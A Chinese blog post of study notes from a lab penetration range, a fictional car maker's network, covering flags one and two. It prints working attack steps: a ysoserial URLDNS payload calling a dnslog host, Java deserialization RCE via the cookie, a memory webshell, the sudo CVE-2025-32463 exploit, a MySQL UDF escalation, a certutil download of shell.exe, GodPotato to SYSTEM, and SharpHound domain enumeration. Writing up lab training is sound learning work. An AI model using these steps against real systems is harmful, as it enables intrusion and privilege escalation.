渗透学习笔记-春秋云镜-Aoselu-flag1,2

渗透笔记

渗透学习笔记-春秋云镜-Aoselu-flag1,2

结合AI与靶场学习渗透。 本文使用的AI: gemini

本靶场以虚构汽车制造企业 Aoselu 为背景,模拟其真实企业内部网络环境,玩家需要进行信息收集、权限提升、横向移动、服务利用等内网渗透技术,逐步获取4个flag。 目前已通过信息收集获得该企业某员工的邮箱 :rachel.cook9@aoseluauto.com/!QAZ2wsx

flag1

给出一个IP,访问是一个汽车网站。

fscan扫描

asciicast

http://39.99.141.172:8080/是个登录页面,登录后页面如下。

image-20260508141505444

没有什么交互数据,查看cookie。

text
rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5

这是一个非常经典的 Java 反序列化漏洞 (Java Deserialization Vulnerability) 场景。

识别特征:userInfo Cookie 的值是以 rO0AB 开头的: rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s... 在 Base64 编码中,rO0AB 解码后的十六进制字节是 AC ED 00 05。这是 Java 序列化对象的魔术字节 (Magic Bytes)。这说明服务器把用户的会话信息或属性序列化后,Base64 编码放在了 Cookie 里。服务器在收到请求时,大概率会将其进行 Base64 解码,并使用 ObjectInputStream.readObject() 进行反序列化。

image-20260508143313894

步骤一:探测反序列化点 (使用 URLDNS 链)

在不知道后端到底使用了哪些第三方库(如 CommonsCollections、Spring 等)的黑盒情况下,最稳妥的第一步是使用 URLDNS 链。 URLDNS 链不依赖任何第三方库,使用的是 Java 原生类。它的作用是在反序列化时触发一次 DNS 请求,非常适合用来验证漏洞是否存在以及服务器是否出网。

准备一个 DNSLog 平台地址(例如 xxx.dnslog.cn)。

使用经典的 Java 反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" > urldns.bin


bash
➜  ysoserial java -jar ysoserial-all.jar URLDNS "http://cnts7w.dnslog.cn" > urldns.bin
Error while generating or serializing payload
java.lang.reflect.InaccessibleObjectException: Unable to make field private int java.net.URL.hashCode accessible: module java.base does not "opens java.net" to unnamed module @6a522ee2
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
	at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
	at java.base/java.lang.reflect.Field.setAccessible(Field.java:172)
	at ysoserial.payloads.util.Reflections.setAccessible(Reflections.java:26)
	at ysoserial.payloads.util.Reflections.getField(Reflections.java:34)
	at ysoserial.payloads.util.Reflections.setFieldValue(Reflections.java:44)
	at ysoserial.payloads.URLDNS.getObject(URLDNS.java:59)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
➜  ysoserial java --version
openjdk 17.0.19 2026-04-21
OpenJDK Runtime Environment (build 17.0.19+10)
OpenJDK 64-Bit Server VM (build 17.0.19+10, mixed mode, sharing)

JDK版本碰到问题了,发现Arch可以很方便的切换JDK。

https://wiki.archlinux.org.cn/title/Java

bash
➜  ysoserial archlinux-java
archlinux-java <COMMAND>

COMMAND:
	status		List installed Java environments and enabled one
	get		Return the short name of the Java environment set as default
	set <JAVA_ENV>	Force <JAVA_ENV> as default
	unset		Unset current default Java environment
	fix		Fix an invalid/broken default Java environment configuration
➜  ysoserial archlinux-java status
Available Java environments:
  java-17-openjdk (default)
  java-8-openjdk
➜  ysoserial archlinux-java set java-8-openjdk
This script must be run as root
➜  ysoserial sudo archlinux-java set java-8-openjdk
➜  ysoserial java -jar ysoserial-all.jar URLDNS "http://cnts7w.dnslog.cn" > urldns.bin
➜  ysoserial

然后继续

bash
➜  ysoserial java -jar ysoserial-all.jar URLDNS "http://rvpl8h.dnslog.cn" > urldns.bin
➜  ysoserial cat urldns.bin | base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz
aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD
TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHJ2cGw4
aC5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly9ydnBsOGguZG5zbG9nLmNueA==

image-20260508145515898

返回个500,dnslog后台什么也不显示。。。。。不出网

直接用yakit吧,参考别的大佬的文章,CC8:SpringEcho可以触发。

image-20260508153754431

image-20260508153740586

改为ls -al,发现flag.txt需要root才能查看。先想办法连接上,但是这个服务器是不出网的。

image-20260508153902925

写个内存马进去。

image-20260508192845343

image-20260508161536735

image-20260508192941701

image-20260508161635253

连接上了。找找SUID,cmp提取flag.

image-20260508161957765

https://gtfobins.org/gtfobins/cmp/

cmp /flag.txt /dev/zero -b -l

image-20260508162207267

flag是拿到了,想继续向下还得提取权限。

text
/ >sudo -V

Sudo version 1.9.15p5
Sudoers policy plugin version 1.9.15p5
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.15p5
Sudoers audit plugin version 1.9.15p5

CVE-2025-32463

易受攻击:Sudo 1.9.14 ~ 1.9.17

找一个poc,传到/tmp,我这里改名为g.sh

chmod +x 之后再执行

image-20260508163357953

现在是能用sudo权限执行了。

flag2

一般是先传上去一个fscan扫一下,但是还有个源码没看。

image-20260508163953534

下载下来到JADX看一下,有个内网的数据库,想办法连一下。

image-20260508164105365

nc测一下端口能否正常开放,ping一下果真不出网---外界能访问,但是内部不出网,代理搭建起来。

image-20260508165344324

image-20260508164851928

传一个gost上去,代理。

直接代数据库,发现不行gost -L tcp://:9999/172.16.52.45:3306。ping也不通。。。

直接代理再用Proxychain试试。

image-20260508171745503

./gost -L socks5://:1080,先用nmap扫一下端口是开放了的。

proxychains4 curl 127.0.0.1:8080检测可用性,正常返回就是可用的。

怎么还连不上数据库!?

直接开扫,传个fscan

./g.sh /tmp/fscan -h 172.16.52.45/16 -o /tmp/nets.txt

fscan命令输入错了记得,ps -ef看一下,再./g.sh kill -9 [PID]结束一下,重新输入。

image-20260508175818940

关注这俩文件,就扫出来一个这个,没耐心等了。

text
172.16.34.5

/16扫起来还是太麻烦了,扫/24,先看34这个C段下的。

./g.sh /tmp/fscan -h 172.16.34.1/24 -o /tmp/34_nets.txt

先扫了34的。

/tmp/34_nets.txt

text
Extranet 172.16.53.30
ASLITPC03 172.16.36.21
ASLSRVFS02 172.16.34.23
ASLSRVAD05 172.16.34.5

用官方给的吧。。172.16.36.21是数据库所在的机子,MDUT连不上啊。。。

image-20260508182809776

再尝试只代理端口,只不过ip变了。

gost -L tcp://:9998/172.16.36.21:3306

image-20260508183218163

image-20260508183152476

总算连接上了。。。

直接来一手UDF提权。

image-20260508183345516

whoami /priv

image-20260508184132837

bash
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege是个好东西

发现新装的Arch没工具,去取了个vshell,先中场休息。

重新启动了环境,

先生成一个正向客户端。

image-20260508191032546

再传过去,先用冰蝎传到入口机,入口机开个http服务,数据库机器再下载。

入口机器是有python的。

image-20260508194106390

python3 -m http.server 8888

然后在MDUT上执行下面的命令下载,

certutil.exe -urlcache -split -f http://172.16.53.30:8888/shell.exe "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Data\\shell.exe"

然后再执行shell.exe运行。

回到Vshell连接。

image-20260508195134461

image-20260508195145708

进入shell

image-20260508195940960

传个GodPotato

GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\flag.txt"

image-20260508200232651

把shell.exe也用potato跑一下提升权限。

先结束原来的

tasklist看一下PID

shell.exe 4924 Services 0 28,064 K

taskkill /pid 4924 /F

然后再回MDUT运行shell.exe

GodPotato-NET4.exe -cmd "cmd /c C:\\Users\\Public\\shell.exe"

再连接。

image-20260508202520038

传个SharpHound上去

image-20260508202812611

cmd
C:\Users\Public>SharpHound -c all
2026-05-08T20:27:50.3451508-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2026-05-08T20:27:50.5918745-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container
, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2026-05-08T20:27:50.6242910-07:00|INFORMATION|Initializing SharpHound at 8:27 PM on 5/8/2026
2026-05-08T20:27:51.1031545-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for aoseluauto.com : ASLSRVAD05.aoseluauto.com
2026-05-08T20:27:51.1487958-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DC
OM, SPNTargets, PSRemote
2026-05-08T20:27:51.3732652-07:00|INFORMATION|Beginning LDAP search for aoseluauto.com
2026-05-08T20:27:51.4426141-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-05-08T20:27:51.4524217-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-05-08T20:28:21.9764444-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2026-05-08T20:28:36.7558453-07:00|INFORMATION|Consumers finished, closing output channel
2026-05-08T20:28:36.8209978-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2026-05-08T20:28:36.9248141-07:00|INFORMATION|Status: 234 objects finished (+234 5.2)/s -- Using 44 MB RAM
2026-05-08T20:28:36.9252461-07:00|INFORMATION|Enumeration finished in 00:00:45.5602768
2026-05-08T20:28:37.0429893-07:00|INFORMATION|Saving cache with stats: 192 ID to type mappings.
 193 name to SID mappings.
 1 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2026-05-08T20:28:37.0570917-07:00|INFORMATION|SharpHound Enumeration Completed at 8:28 PM on 5/8/2026! Happy Graphing!

下载同目录的安装包,传到BloodHunter

Find Shortest Paths to Domain Admins

image-20260508205950291

cmd
C:\Users\Public>net time /domain
Current time at \\ASLSRVAD05.aoseluauto.com is 5/8/2026 9:04:49 PM

The command completed successfully.

不会了捏,先写这么多。

QAQ

🚲旧博客内容恢复
自部署个人使用的Asciinema服务端

评论区

评论加载中...